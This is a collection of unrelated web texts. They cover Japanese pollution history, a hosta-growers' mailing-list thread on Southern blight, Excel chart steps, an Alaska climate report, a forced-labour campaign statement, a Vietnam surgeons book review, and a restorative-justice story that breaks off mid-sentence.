“Minamata disease was recognized as an environmental pollution disease in 1968. The government then established procedures for the screening and official certification of Minamata disease victims, and it paid compensation to the people so certified. Although approximately 13,000 people applied for the certification, only about 3,000 received it. As a result, people who had been refused certification, and therefore compensation, filed lawsuits against the national and prefectural governments and Chisso Corporation. These people for the most part saw their cases reach a settlement by the government in 1995: a lump sum was paid to non-certified victims with sensory disorders in the limbs.
“About 10,000 people in Kagoshima, Kumamoto, and Niigata Prefectures, including those deceased, were awarded payment. The last remaining Minamata disease compensation lawsuit, by people who had not accepted the 1995 government offer, was finally settled in 2004 with a Supreme Court ruling that recognized the administrative responsibility of the national government and Kumamoto Prefecture. In recognition that 2006 is the 50th year since the government’s official acknowledgment of Minamata disease, in 2005 the government announced a number of initiatives for providing additional support to disease victims. It also passed a law in July 2009 concerning special measures to provide relief for uncertified victims of Minamata disease.
High Levels of Formaldehyde Found in Water in Chiba, Saitama, Gunma
In May, 2012, the Yomiuri Shimbun reported: “High levels of formaldehyde were found in filtered water at three water purification facilities in Chiba and Saitama prefectures and two other purification facilities in Chiba and Gunma prefectures, according to officials.All five plants suspended their intake of river water. The carcinogenic substance detected at two purification facilities was found in untreated water. The water treated at the three water treatment plants had been taken from rivers in the Tonegawa river system. [Source: Yomiuri Shimbun, May 20, 2011]
“In Chiba Prefecture, restrictions on water intake resulted in cuts in water supply, affecting 46,000 households in Noda beginning at 9:35 a.m. The Noda city government began supplying water to affected households. Water supplies were also cut in Kashiwa in the prefecture at noon, affecting 153,000 households all over the city. Local governments in Chiba Prefecture were preparing to dispatch water trucks to transport water to the affected areas.
“The chemical substance--whose levels reached 0.135 milligrams per liter, almost twice the acceptable level of 0.08 milligrams per liter--was found in treated water at the Kamihanawa purification facility in Noda, Chiba Prefecture,, prompting suspension of water intake from the Edogawa river at 3:55 p.m. the same day. The substance was also found in filtered water at two other purification facilities in Saitama Prefecture--0.168 milligrams per liter at the Gyoda treatment plant in Gyoda and 0.1 milligrams per liter at Showa purification facility in Kasukabe.
“It is suspected that hexamethylenetetramine, a chemical substance used for resin and rubber production, may have been released in the upper course of the river. There are several companies that handle the substance along the Karasugawa river in Gunma Prefecture, which is in the upper reaches of the Tonegawa river system. The Saitama and Gunma prefectural government were investigating the incident. "Human health will not be affected by the levels of the substance found this time. There's no problem with the water currently supplied, as water intake has been suspended," an official of the body that runs the Kita-Chiba plant said. Later it was revealed that the culprit was a chemical released by factories that was not dangerous by itself and wa snot restricted but sometimes changed into formaldehyde when exposed to river water.
Cancer Linked to Printing Chemicals
In 2012 it came to light that eight people died of bile duct cancer thought to connected with printing chemicals. The Japanese labor ministry said it had confirmed 17 bile duct cases in five prefectures. Among these eight have died. Chemicals suspected of causing bile duct cancer at printing companies are dichloromethane and 1, 2-dichloropropane, which are contained in the cleaning agents of printing machines.
“Tsuyoshi Nakamura and Kazuaki Ishii wrote in the Yomiuri Shimbun: “According to the labor ministry, 12 male workers in Osaka have been diagnosed with bile duct cancer, and six of those have died. However, a support group for families of the victims claims that another worker also died of the cancer. The group said the seven victims died from 1998 to 2010. [Source: Tsuyoshi Nakamura and Kazuaki Ishii, Yomiuri Shimbun, July 12, 2012]
“According to the group, the seven victims were in their 20s to 40s. The cancer was also found in two men working at a printing company in Miyagi Prefecture who are in their 20s and 30s, and the surviving victim among the three most recently found by the government is in his 40s. The high proportion of young people developing bile duct cancer among printing company workers is noteworthy because it is usually the elderly who are susceptible to the disease.
“The Health, Labor and Welfare Ministry investigated more than 500 printing firms in June 2011 following reports that workers of printing companies in Osaka city and Miyagi Prefecture had developed bile duct cancer. About 80 percent of printing firms did not follow government regulations on the use of chemical substances that may cause bile duct cancer, according to the findings of a government investigation. In announcing the results of the investigation, it said three more cancer patients, aged from their 40s to 70s, were confirmed in Tokyo and Ishikawa and Shizuoka prefectures. Two of the patients have died.
“The labor ministry has designated the two chemicals as "substances that may be responsible for causing cancer" and requires factories using the two chemicals to take appropriate safety measures, such as ventilating workrooms sufficiently and having workers wear masks. Such precautions were ordered for dichloromethane from 2002 and for 1, 2-dichloropropane from 2011, based on the Industrial Safety and Health Law and other regulations. The ministry investigated 561 printing companies and found that 494 used the two chemicals. However, 383 firms using the chemicals, or about 80 percent, failed to follow government regulations.
“This health problem was brought to light not by the government but by a researcher. In May, a study group led by Shinji Kumagai, an associate professor at the University of Occupational and Environmental Health in Kitakyushu, reported that former employees of a printing company in Osaka had developed bile duct cancer at a high rate. Kumagai said the company's operations consume a large amount of dichloromethane and 1, 2-dichloropropane, and pointed to the "possibility that the two chemicals caused the cancer."
Destruction of Freshwater Ecosystems in Japan
cement river All but two of Japan's rivers have been dammed or directed into concrete embankments. The number of natural lakes and wetlands has decreased from 230 in the mid-1980s to 210 today.
Rivers, streams and brooks that teamed with life have had their banks lined with concrete in the name of erosion and flood control but mainly to provide work for construction companies. In the case of brooks used to supply water for rice paddies concrete is often selected to widen channels when the job can be done just as effectively with earthen dikes. Among the creatures that are lost are a wide variety of aquatic insects and plankton and the fish, frogs, clams, shrimp that eat them and the kingfishers and egrets that eat them.
Asbestos in Japan
In June 2005, the leading machinery maker Kubota announced that a number of its workers at construction material factories had died from mesothelioma and other diseases believed to have been caused by the asbestos. Other investigations led to the discovery of other asbestos-related deaths.
In November 2005, the Japanese government decided to pay ¥2.6 million in lump sum payments to around 10,000 victims of asbestos poisoning and ¥2.4 million to families of victims that died.
Some people who died and became ill didn’t even work at the factories. Some died from illnesses believed to have been caused by asbestos used in insulation materials, There have even been cases of wives of workers who apparently became sick from cleaning clothes with asbestos fibers in them.
Asbestos is still found all over Japan. It was widely used in public buildings. Ones study found asbestos was used in 4,923 educational facilities, including kindergartens, primary, middle and high schools; 586 medical and social welfare facilities, including hospitals, nursing homes and child-care centers; 353 community facilities; and 327 municipal government facilities.
Oil Spills in Japan
coastal tanker On January 2, 1997, a massive Russian tanker carrying 19 million liters of oil split open in heavy seas 65 miles off of the western coast of Japan near the Mikuni islands. High winds and huge waves dashed attempts to contain the spill, which swamped beaches, killed birds, ruined fisheries and threatened to shut down the largest concentration of nuclear power plants in the world around Wakasa Bay by clogging the plant's cooling system which draws water from the sea.
Japan's worst oil soil ever occurred in July, 1996 when the supertanker Diamond Garnce tore open when it hit a reef in Tokyo Bay, releasing 4 million gallons of oil and producing a slick that extending for four miles.
Red Tides and Giant Jellyfish in Japan
Japan suffers from periodic red tides. Red tides are dense blooms or massive concentration of oxygen-consuming microscopic algae that grow and spread at a great speed. Despite their name, most of the time they are not red (although they can be). They are usually different shades of brown and can be bright green.
A red tide in June 2004 in the Inland Sea killed an estimate 300,000 fish. Among those killed were red sea bream and flatfish raised on fish farms. Red tides kills fish and other aquatic life through suffocation by depriving them of oxygen and producing toxins that can paralyze marine life. Once a red tide reaches critical mass, there is little that anyone can do other wait for it to end. A red tide can last anywhere form a few days to a few months. They are usually seasonally, typically occurring the fall in temperate climates.
Echizen jellyfish are nasty creatures that can weigh up to 200 kilograms and reach a size of two meters in diameter. They have caused havok in the fishing industry in Japan. The have been caught by the boatloads in the Sea of Japan off of Fukui, Shimane and Ishikawa Prefecture in western Honshu. They have brown poisonous tentacles that kill fish and cause them to lose their color. Their huge numbers fouls fishing nets with a nasty smell. Their massive weight tears the nets when they are pulled out of the water.
The damage to the fishing industry has been in the tens of billions of yen. On fisherman told the Yomiuri Shimbun, “The nets were fouled by hundreds of jellyfish as soon as they were put out. There was little room for other fish, The fish that touched the tentacles of the jellyfish turned white, and the retail value of the fish is reduced to zero.”
In the old days Echizen-kurage disappeared by peak autumn fishing season but warmer waters, perhaps caused by global warming, have caused them to stick around longer. The presence of the poisonous jellyfish has adversely affects fishing for cavalla and yellowtail because the fish try to stay clear of the jellyfish. Some blame China for the problem, saying the jellyfish originate in waters off the coast China and their growth is triggered by pollutants dumped in the sea. See Fishing
Jellyfish blooms have clogged seawater intake valves and caused nuclear power plants to reduce power.
Image Sources: 1) 6) NASA 2) and 3) Greenpeace Japan 5) Goods from Japan 7) Osaka Gas 8) William Eugene Smith, 9), 12) Ray Kinnane, 11) Hector Garcia site;
Text Sources: New York Times, Washington Post, Los Angeles Times, Daily Yomiuri, Times of London, Japan National Tourist Organization (JNTO), National Geographic, The New Yorker, Time, Newsweek, Reuters, AP, Lonely Planet Guides, Compton’s Encyclopedia and various books and other publications.
Last updated October 2012
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How Do Artists Use Paint to Make Skin Color Look Real?Bright Light Fine Art
Matching skin color exactly the way you want it can be a challenge for many artists. The tips below can help!
How does an artist decide what colors to mix for skin color?
In order to make flesh seem real, you need to use both warm and cool colors.
Where do you use warm or cool colors in skin color?
Simple: in the light, warm colors advance and cool colors recede. So where you want a form to come forward, you use warm colors. Where you want a form to recede, use cool colors.
How do you decide which colors to use and where to put them?
If all the front planes are the advancing (warm) color, then all the side planes are the receding (cool) color. Warm and cool planes alternate.
NON-COLOR or TURNING COLOR
The transition color is called a non-color. Non color relates to the air in the painting, which makes a form appear to recede. It is also called a turning color. Non color is used to turn the form visually in a painting without changing the value of the color. This keeps the form looking “flat” and therefore has stronger visual impact.
The mixture of the flesh color with the background color can make a nice non-color. If you want the neck to go back into space, cool that area with a non-color. Because warm colors in the light come forward and cool colors in the light recede, if you want a form to turn, make it cooler. To come forward, paint it warm and it will advance. This is how this complex subject was simplified in its use of warms and cools. For more, feel free to check out our Palette and Tools tutorial.
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Southern Blight/past postings/Solberg/Millhorn/Gleason/Nelson
Bob Solberg wrote: (10/29/97)
----- Original Message -----
From: Green Hill Farm, Inc. <firstname.lastname@example.org>
Sent: Wednesday, October 29, 1997 12:32 PM
Subject: Pest problems 2
Just a few more comments:
Southern Blight: This fungus pest is very persistant in the soil so a
persistant fungicide is recommended, or several applications of of a
persistant one. Terrachlor if you can get it works well as it is
persistant. 10% Bleach works also in quantity as a drench.
Try applying the fungicide in anticipation of the problem next
areas where it appeared this year as soon as the hot dry weather of late
June in the South or July in the Midwest begins. Remember it is soil
not in the plants and drench the area well.
Also I have seen some correlation between using hardwood bark mulches
the occurance of this disease in this area. I would think especially
mulches that are from ground stumps may be more of a problem.
Spots: Most round or oval brown spots are the result of fungus
They are usually secondary fungus infections or areas of dead or
tissue that fungus invade. (Healthy hostas that are active growing are
as open to these fungi.)
Numerous tiny brown spots, like pin punctures, usually early in the
are the result of aphids. Aphids can be a problem if cool damp weather
persists in the spring or on plants grown in hoop houses or under frost
cloth. The numerous punctures made by the sucking mouth parts of the
can later become infected with fungus. This fungus can then be spread to
healthy plants through the sap in their mouths. A systemic pesticide
Orthene will kill the aphids in one spraying. Insecticidal soaps work
but may need to applied more than once. Usually warmer weather and good
circulation will limit aphid populations later in the year. Any
like Daconyl will slow the fungus.
Hostas that are heat dormant or are stressed due to lack of water or
nutritional deficiencies in mid-summer may develope red spots. These are
secondary anthracnose infection and are more pronounced on gold hostas
especially 'Tokudama' types but are present on green and blue hostas
Again a systemic fungicide will help control the spread of the fungus
not make the spots go away. Good cultural practices, (regular
maintaining adequate nitrogen levels throughout the summer, and keeping
plants cool buy overhead watering or shading them), may decrease this
Unlike Southern Blight, none of these fungus problems are persistant.
fall garden cleanup of old foliage may reduce the number fungus spores
the area but the seceptability of certain hostas (ie. 'Tokudamas') to
infection maybe genetically based.
Professor Mark Gleason wrote:(7/26/98)
Thanks for your inquiry.
Terraclor 75 WP and Terraclor 400 both have very broad ornamental
labels, and specify control of Sclerotium rolfsii, but do not specify
hosta among the many crops on the labels. However, wording on the label
encourages users to try Terraclor on ornamentals not covered on the
label - but on an experimental basis, on a few plants rather than an
A key step is working out a use rate that is effective on hostas but not
phytotoxic to them. Another step is to decide on when to apply the
fungicide to hosta: As a soak treatment to bare or potted crowns befroe
transplanting? As a drench after transplanting? Clearly it must be
applied to the root zone, since this is where the fungus attacks the
plant. You may wish to consult with your friend who has had success
against Southern blight using Terraclor.
I am a bit surprised that hosta is not on the Terraclor label, given
hosta's popularity and the problems Southern blight is causing for
growers. I will talk to a Uniroyal rep and get his opinion on the issue.
I believe that Benlate is no longer labeled for use on herbaceous
ornamentals due to major lawsuit problems several years ago. The
Cleary's 3336 label does not claim control of S. rolfsii, but another
product from the same company, called Defend 2F, does claim control of
this pathogen on iris (again, hosta is not specified). Defend 2F has the
same active ingredient as Terraclor - PCNB, or pentachloronitrobenzene -
and the label looks very similar to that for Terraclor. So you have 2
product options, even though their chemistry is identical and neither
Are these products legal to use on hosta? Yes, in my opinion, due to the
inclusive way in which the label is written. As I said, it's up to the
user to work out effective use rates and methodologies on crops that
aren't specified on the label.
I'm not a font of knowledge on hosta crown rot, but it would seem to be
an interesting subject for study. Three of the biggest questions in my
1) How does resistance vary among hosta varieties?
2) How effective are various fungicide use strategies against the
3) How does the growing environment affect disease risk, and how can we
manipulate it to reduce the risk?
There are several good subjects for M.S. or Ph.D. degrees buried in
those questions! The best individuals to work on these questions are
pathologists already heavily involved in the ornamentals area - for
example, Austin Hagan at Auburn, Steve Jeffers at Clemson, Mary Hausbeck
at Michigan State. Gary Moorman at Penn State, or Marge Daughtrey at
Cornell. If you want to pursue this issue further, I can provide emails
for eny or all of these people.
Professor/Extension Plant Pathologist
Hank Millhorn wrote:(1/9/98)
Greetings All -
Seems as if crown rot, what with the weather and all, is the topic du
Here in good ole mid zone 6 we find the systemic fungicide Benlate aka
benomyl a good prophylactic treatment, as well an acute treatment as in
'ohmahgoddd' did you notice we've got crown rot on, ___________ ????!!!!
It's also good to prevent damp off from from getting started in the
first place in the seeding patch. As a systemic it is absorbed into the
living tissue and lasts good while.
It used to be commonly available, we got our supply last years from
Jungs in Wisconsin.
Dan Nelson writes:(6/15/99)
I put small wire flags at my 15 or so hostas that suffered from Southern
Blight last year. This year I have applied Terraclor BEFORE Southern
Blight has shown it ugly face. Fungicides are best applied as a
preventitive before disease occurs. When southern blight is noticed on
hostas much of the damage has already occured. I will see this year if
the same hostas suffer from southern blight. It is important to mark
treated hostas. This disease needs treating for several years as the
spores (sclerotia) last for years in a dormant stage. These spores are
mustard seed in size and look like a granular fertilizer. Once you learn
to recognize the spores of southern blight positive I.D. is easy.
Southern Blight is a major agricultural disease in the south. Some crops
such as peanuts are treated every year as a preventive.
To sign-off this list, send email to email@example.com with the
message text UNSUBSCRIBE HOSTA-OPEN
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A not-for-profit (mainly voluntary) organisation which helps parents and carers of children with special needs of any kind to find solutions to practical problems. Offer a free service to locate and supply toys, clothes, developmental aids, etc. adapted for children with special needs. Also advises on sources of funding for these items.Has a monthly newsletter advising on products, and allowing parents to exchange practical tips, and can signpost enquirers to other organisations that can help with specific problems. Has information about specially equipped holiday accommodation for those with special needs. Can also advise and run demonstrations for childcare professionals, playgroup leaders, club leaders, health professionals, teachers and others involved in caring for children with special needs.
Helps parents and carers of children with special needs of any kind to find solutions to practical problems.
Anyone can contact us directly.
Wendon CourtStation ApproachSaffron WaldenCB11 4LB
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How do we put it all together at this time every year?
Christmas. That is what I am thinking about.
We are used to it of course. It almost seems natural. But it is not. We have just done it this way forever. We are on autopilot — usually not stopping to think about whether the things we do are “natural” or not.
How would we respond if someone stopped us and asked us this question? “How is it that you treat this season so inconsistently that is seems almost schizophrenic?”
We wouldn’t deny it, would we? We would have to admit that we march on two different paths during this season.
One path is a frenzy of a shopping and giving and socializing. As the end of the year approaches, the dark night surrounds us, and we burst out with an explosion of activity.
We make time for parties and festivities — and somehow do the work that must be done before the end of the year. We celebrate the “harvest” of a year’s efforts. We send out signals of appreciation and give, give, give to our friends.
We eat drink and be merry.
Switching on every light that we can find, we beat back the darkness, turn it around, and shout out our success.
Some of us can remember when it was more difficult — not like today when most of us can afford to spend much more on gifts and parties than our parents could. Maybe that remembrance of former limits fuels our efforts to out do one another.
For weeks my house was full of wrapping paper and packages, thanks to my wife’s early efforts to organize and make the season happy.
And in the corner of the living room, a friend placed our first present — a beautiful Christmas tree. It was selected, mounted, and set up. My wife says it is the best present we have ever had. She didn’t have to go to the lot, try to pick out the right size and shape, haul it back home, and try a thousand times to put it up straight. The whole task has been done for us.
Somewhere in the background there was a little whisper from the past. “You have taken this too far. Next year, like you did growing up, go out in the country and select a tree from some willing farmer’s land. Cut it down. Bring it home. Put it up.”
Not for us. Not this year.
All this is part of our first path of Christmas, and all the while we are trying to walk the second path — at the same time.
In the midst of all this celebration, we try to remember the birth of Jesus and the beginning of era of deep religious significance. We try to do it with reverence. We try to make the season holy, silent, and dignified.
One path of frenzied celebration.
Another path of religious dignity.
They are so totally opposed. We struggle to hold them together.
The Christmas story of Jesus’ birth and Santa Claus.
The absence of material things and their overabundance.
The humble stable and our lavish decorations.
From choir practice to the office party.
How do we bring them all together in this season?
Somehow we do it.
Maybe we get by this season because we practice this inconsistent exercise all year long. Maybe we are always trying to balance the inconsistent pathways of the material and the spiritual—never quite able to separate them or find some way to harmonize them.
Maybe we make it through Christmas season the same way we do all year long.
D.G. Martin hosts “North Carolina Bookwatch,” which airs Fridays at 9:30 p.m. and Sundays at 5 p.m. on UNC-TV. For more information or to view prior programs visit www.unctv.org/ncbookwatch. A grant from the North Carolina Humanities Council provides crucial support for North Carolina Bookwatch.
The Dec. 28 and 30 guest is Kevin Duffus author of “War Zone—World War II off the North Carolina Coast.”
Bookwatch Classics (programs from earlier years) airs Wednesdays at 11:30 a.m. on UNC-MX, a digital cable system channel (Time Warner #172 or #4.4).
Wednesday’s (January 2) past guest program features Lee Smith author of “The Last Girls.”
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*NEWS*WARM CLIMATE TRANSFORMS ALASKA
*NEWS*WARM CLIMATE TRANSFORMS ALASKA
2005-09-30 at 10:41:00 am #13210
Warm climate transforms Alaska terrain
ANCHORAGE, Alaska –
Sinking villages perched on thawing permafrost, an explosion of
timber-chewing insect populations, record wildfires and shrinking sea
ice are among the most obvious and jarring signs that Alaska is getting
warmer as the global climate changes, scientists say.
“We are the canary in the mine, unfortunately, and the harbinger of
what is yet to come for the rest of the world,” said Patricia Cochran,
executive director of the Anchorage-based Alaska Native Science
Atmospheric temperatures in the remote state have risen 3.6 to 5.4
degrees Fahrenheit (2 to 3 degrees Celsius) over the past five decades,
according to the recently released Arctic Climate Impact Assessment, a
comprehensive study by scientists from eight nations.
That heating, most pronounced in winter and spring, is much more
dramatic than in the rest of the world, which has had an average
increase in land surface temperatures of 1 degree Fahrenheit (0.6
Celsius) over the last century, according to the Environmental
Many scientists believe the earth is warming because of the release of
greenhouse gases such as carbon dioxide that trap solar heat in the
A massive beetle infestation has swept through millions of acres in
south-central Alaska over the past decade, scientists said, because
significantly warmer weather is delaying the usual winter die-off of
The insects’ voracious attack on spruce bark has left forests
tinder-dry while general heat-induced stress have weakened forests,
with lightning strikes making them a fire hazard in the Chugach
Mountain foothills, said Glenn Juday, a professor of forest ecology at
the University of Alaska Fairbanks.
“All the trees in the boreal forest are showing unusual symptoms of
warmth-related health problems,” Juday said, noting that Alaska had its
biggest and third-biggest fire seasons in the past two summers.
“The warmer it gets the more we burn,” Juday said.
In The cooler interior regions, buildings are slumping and roads are
buckling as permafrost — frozen soil — thaws and turns into softer,
spongy soil. The Inupiat village of Shishmaref on a narrow Chukchi Sea
barrier island is preparing to move as the town sinks into the ground.
“For those of us who live in the changing conditions every day, there’s
no question. We see it. We feel it every single day,” Cochran said.
Satellite records released on Wednesday showed that sea ice coverage in
the arctic region has fallen for the last four years with “unusually
early springtime melting in areas north of Siberia and Alaska,”
according to a study by the University of Colorado, NASA and the
University of Washington.
Shrinking sea ice has created hardships for sea animals like polar bears that find their prey at the ice’s edge.
Heated-up waterways are throwing off long-established salmon cycles
and, according to one scientist, have allowed a warmth-loving,
salmon-wrecking parasite to thrive in the Yukon River.
Warming is accentuated in high-latitude regions like Alaska in part
because of thinner atmospheres in the polar region, concentrating
greenhouse gases, and in part because of the nature of atmospheric
currents, according to studies.
Such changes have also contributed to falling ice coverage in the
Arctic Sea, with spring and summer melting happening 17 days earlier
than usual, according to the satellite study.
The disappearance of ice and snow uncovers dark surfaces of the ground
and sea, which absorb more solar heat and warm up the landscape, said
Vladimir Romanovsky, a permafrost expert at the University of Alaska
Fairbanks’ Geophysical Institute.
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To combine two sets of data in a single graph in Excel, select the Combo chart type in the All Charts group. Select a different graph type for each set of data, and customize each graph in a way that best suits your needs.Continue Reading
Enter both sets of data in Excel. Click and drag the mouse over the cells that contain the two sets of data to select them.
Navigate to the Insert tab, and find the Charts group. Click on the Recommended Charts selection that is located in the group. Go to All Charts, and select Combo as a main chart type, and Clustered Column - Line as a secondary chart type. Navigate toward the bottom of the Insert Chart window, and select your desired chart type for each individual set of data. Decide which set of data you would like to display along the secondary axis, and tick the Secondary Axis box for that set of data to confirm the selection. Press OK in the chart window to create the graph.
Click various parts of the graph to add titles and short descriptions. Use the various chart customization tools, such as Chart Styles, Axis and Background, to completely redesign the look of your graph. Save your graph when you finish.
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The Emperor's speeches are always interesting, not merely as the
utterances of a powerful Monarch, and delivered, in virtue of his position, under a sounding-board which causes them to reverberate throughout the entire civilised world, but from the fact that they reflect a remarkable personality, and, unlike the deliverances of most Monarchs, are unmistakably written by himself. The Emperor William, again, is a man who reads and thinks, and it is clear that in preparing his new gloss on the text Deutschland iiber alles he has borrowed freely from a passage in the "Meditations" of Marcus Aurelius, —the parallel passages are set forth in a leading article in Wednesday's Daily Chronicle. Of the sincerity of the Emperor's love of his country and of hia appeal fel' unity there can be no doubt, but what a colossal national egotism is revealed in his view of the way in which the divine mission of Germany is to be carried out ! The transition from Christian forgiveness to granite blocks as the basis of the salvation of the world is somewhat difficult to follow. But although the German Press displays a natural reticence in commenting on the self-revealing passages of the speech, the national unity for which the Emperor appeals is undoubtedly becoming more and more evident in the way which is most likely to gratify him,—the demand for a strong Navy and for greater speed in carrying out the naval programme.
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Skywatch Lecture Series: Curiosity on Mars: Roving the Red Planet
Just this past summer the rover, Curiosity, landed on Mars. That project has ties to this region. Dr. Laurie Leshin of RPI is an integral part of the project and she'll present an insider's view of the mission and share some of the exciting results to date at 7:30pm on Tuesday 1/22 at the Proctors GE Theater.
Dr. Laurie Leshin, is currently the Dean of the School of Science at RPI and will present "Curiosity on Mars: Roving the Red Planet." Dr. Leshin was a senior executive at NASA and is currently a member of instrument teams for the Mars Science Laboratory Curiosity Rover mission.
Dr. Laurie Leshin joins us along with Janie Schwab, Executive Director Dudley Observatory.
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The Cotton Campaign stands in solidarity with the people of Uzbekistan, as well as Trade Union of Daewoo International, Federation of Korean Textile, Distribution Workers Unions (FKTDWU) and Federation of Korean Trade Unions (FKTU) as they protest Daewoo International today in Busan, South Korea to highlight the use of forced labour of children and adults in Uzbekistan’s cotton industry.
“We support the workers’ demands of responsibility from Daewoo International and Nike. Daewoo International must cease profiting from forced labor in the cotton fields of Uzbekistan,” stated Matt Fischer-Daly, Cotton Campaign Coordinator. “This should not be at the expense of the rights of workers of the facility in Busan, which is owned by Daewoo and has supplied synthetic materials to Nike for over a decade.”
Since the 1990s, Daewoo has received business benefits from the Uzbek government for maintaining and growing its investment in Uzbekistan. For decades, the Government of Uzbekistan has forced millions of children, teachers, public servants and private sector employees to pick cotton under appalling conditions. Those who refuse are expelled from school, fired from their jobs, and denied public benefits or worse. The Government combines these penalties with threats, and detains and tortures activists seeking to monitor the situation. Uzbek human rights defenders and international partners released a report on the ongoing abuses last month. Since 2012 the Cotton Campaign has called on Daewoo International to meet its human rights due diligence duties by establishing independent monitoring and public reporting of its cotton supply chain in Uzbekistan. We call on Nike and all companies and investors to remove links to companies using Uzbek cotton until the Uzbek government ends forced labor of children and adults in its production.
“While Daewoo refuses to stop profiting from forced labor in Uzbekistan, Nike must end complicity,” said Jon Chul Kim, Advocates for Public Interest Law. “Nike also must act responsibly by working with the Trade Union of Daewoo International, FKTDWU and FKTU to ensure respect for the rights of workers making Nike product in Busan.”
CONTACT: Cotton Campaign Coordinator - C/O International Labor Rights Forum, 1634 Eye Street NW, suite 1001, Washington, DC 20006. +1(202) 347-4100, cottoncampaigncoordinator [at] gmail.com
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By The Bunny
Four doctors and 26 corpsmen treated 2,500 injured men – many severely – over a three-month period in a medical facility that was under constant barrage from enemy rounds in a remote province of South Vietnam just south of the DMZ. The year was 1968 and the bloody siege of Khe Sanh was raging all around them. They took the casualties as they came – in a steady stream of “M*A*S*H”-like helicopter deliveries, patched the wounded up as best they could and shipped them to the flank – when the battle waned – or back to the front. In most cases, they never learned the names of their patients. There were too many and time was not on their side.
It is hard to imagine providing critical medical care under these circumstances, but they did. It seems that adrenaline is what kept them going. When asked how they kept up the pace and sustained the sheer volume of cases and dealt with the emotional aftermath, they didn’t really have a solid answer – other than they had a job to do and they really had no choice but to keep going.
One of the surgeons, Dr. Jim Finnegan, wrote a book about it. In The Company Of Marines: A Surgeon Remembers Vietnam chronicles his 12-month tour in Vietnam that happened to coincide with some of the fiercest fighting of the entire war: the Tet Offensive and the ensuing battle at Khe Sanh. He and three other Navy surgeons and 26 Navy Hospital Corpsmen were assembled at the base erected to defend this northernmost province.
His book quotes Marine intelligence sources that state that more than 3,000 rounds per day were lobbed against the Marines, accounting for the majority of the injuries. They were overwhelming. One of the doctors, Dr. Ed Feldman, volunteered to remove a live round from the abdomen of an injured Marine. He received the Silver Star for his heroic efforts – both the Marine and everyone else on the base survived. The live round was detonated soon after it was removed from the Marine’s body.
In The Company Of Marines is a very personal tale of one doctor’s experience in Vietnam over the course of 12 months during that decade-long war. According to him, his Vietnam was not that remarkable. Hard to believe that so many men like him were subjected to such extraordinary circumstances, survived and returned to highly productive lives. But history has shown that men rise to the challenges of combat time and time again…and return home scathed, but sane. Khe Sanh was clearly a seminal experience in the lives of these Navy surgeons and one that bonded them indelibly. In some ways, it has defined them as men. But, they say they refuse to let it define the rest of their lives – a significant distinction. To hear it in their own words, watch a video of a recent interview with Drs. Jim Finnegan and Ed Feldman.
- Moving the Influence Squadrons from Sea to Air
- A Polite Rozhestvenski Whisper to the Trump Transition Team
- On Midrats 8 Jan 2017 – Episode 366: Is it Time for a General Staff?
- “Ameri-Straya”: The Story of the People Behind the U.S.-Australian Partnership In Electronic Warfare
- There Are Bad Ideas and Then There is This Bad Idea
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|Basin Info. & News||
Little Cypress Bayou (Subwatershed 1.10) is located in the coastal area of the Sabine River Basin within Segment 0501. The Subwatershed drains an area of approximately 18 square miles. The Little Cypress Bayou flows through the Blue Elbow Swamp, which includes the Tony Houseman State Park and Wildlife Management Area and enters the Sabine River near Interstate 10 in Orange, Texas. The flow in the Subwatershed is tidally influenced.
The Sabine River Authority (SRA) 1996 Assessment of Water Quality identified the Little Cypress Bayou Subwatershed as an area of concern due to poor water quality. Water quality concerns or possible concerns in this Subwatershed include dissolved oxygen, fecal coliform, and ambient toxicity. The water quality problems in Subwatershed 1.10 appear to be due to the impacts from the human population in the drainage area and the combined influence from point and nonpoint sources on a tidal waterbody with limited assimilative capacity. Tidal waterbodies typically have limited assimilative capacity, because of low flows and high dissolved solids.
The Little Cypress Bayou Subwatershed is located north of the City of Orange in Orange County. The subwatershed is dominated by housing subdivisions with little industry. Little Cypress Mauriceville High School is also located adjacent to the bayou. There are four Wastewater Treatment Plants (WWTP) that discharge into the bayou.
Two of the three sample sites used in the study were established before 1999, with the southern most site having data back to 1995. Volunteers also monitor all three sites as a part of the Texas Watch program. Students from Little Cypress Mauriceville High School also monitor the site closest to the school as a part of their Environmental Science class.
An intensive study was initiated in October 1999 on the Little Cypress Subwatershed to identify the sources of water quality impairments. This study was concluded in August 2001. Monitoring included frequent sampling to document point and nonpoint sources of fecal coliform, ammonia, and oxygen depleting materials. Sampling was also conducted to substantiate non-compliance with Texas Surface Water Quality Standards (TSWQS).
This report requires the Adobe Acrobat Reader; see here for more information and to download the Reader.
Prepared in Cooperation with the Texas Commission on Environmental Quality Under the Authorization of the Texas Clean Rivers Act.
|To address comments to the Sabine River Authority of Texas, please contact us.|
|This page requested on 10/25/2016 at 3:23:14 AM CST|
|Internet Content Rating Association|
|State Web Site Statewide Search|
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Our guest writer is school restorative justice practitioner Michelle Jackson, who has been a victim participant on three occasions in the Sycamore Tree Project in Queensland.
When I first heard of restorative practice I thought it was a load of rubbish. I thought that all the offender had to do was say sorry and that was it. So how would you know if they were genuine or not? I have come to realise that it is way more than that. To take part in a restorative practice session takes strength and courage from both sides and is way more than a simple “I’m sorry.” It is restorative on both sides!
First though, I need to tell you my story. Many years ago now my father was murdered. He was a loving dad who went to work one day and never came home. His body was found ten months later but we didn’t get any answers as to whom or why someone would have shot him at point blank range in the head. I guess for him it was quick but for my family it has been long and painful. The unanswered questions have hung over the family like a black cloud. People can be cruel and have even said to members of my family that “He must have deserved it! “or “Only bad people get killed.” The police are baffled as they say they can find nothing untoward in his life that would lead to this event. They even called him “Mr Clean”. Regardless of what people think we know that no one deserves to have their life ended at someone else’s hand. For many years though I lived with hate and anger towards an unknown person who had altered our whole way of life. I wanted revenge! We no longer had a dad and mum had to leave us alone at home to go work and money was tight. You learn to adapt! Life gradually moved on and seemed to settle down to normalcy even though we all carried scars.
Then my life was thrown into turmoil again. In 2007 I suddenly found myself on the other side of murder. The police came to our business door and asked had I seen a particular woman in the last few days. No I hadn’t. The police had phone records of someone we knew through the business and he had phoned us. Yes, I had talked to him and knew where he was. Then the woman’s body was found. The man was arrested and I became a witness in a murder trial. He had told me things important to the trial. How could this be happening? This man, I had learnt over a period of time, had come from a bad family background .He had never felt loved. His father had beaten him and his mother had rejected him. He drank to cover his wounds. I knew this man not as a murderer but as someone who could work hard but drank way too much in my eyes. Society however sees it as ok to have a few beers after a hard day’s work! When does it step over the line though? I began to think about how many other people were in his predicament in jail- the ones that had one too many and made stupid choices. Or those that mixed alcohol and drugs (legal and illegal) and ended up doing bad things. It doesn’t mean that the consequences of their actions don’t have to be paid for but some understanding of who they are and how they got to where they are should be considered. So for two years I waited for the trial to go to court with periodical visits to police stations and solicitors offices. I was innocent and not even part of it yet somehow was part of it. No one ever 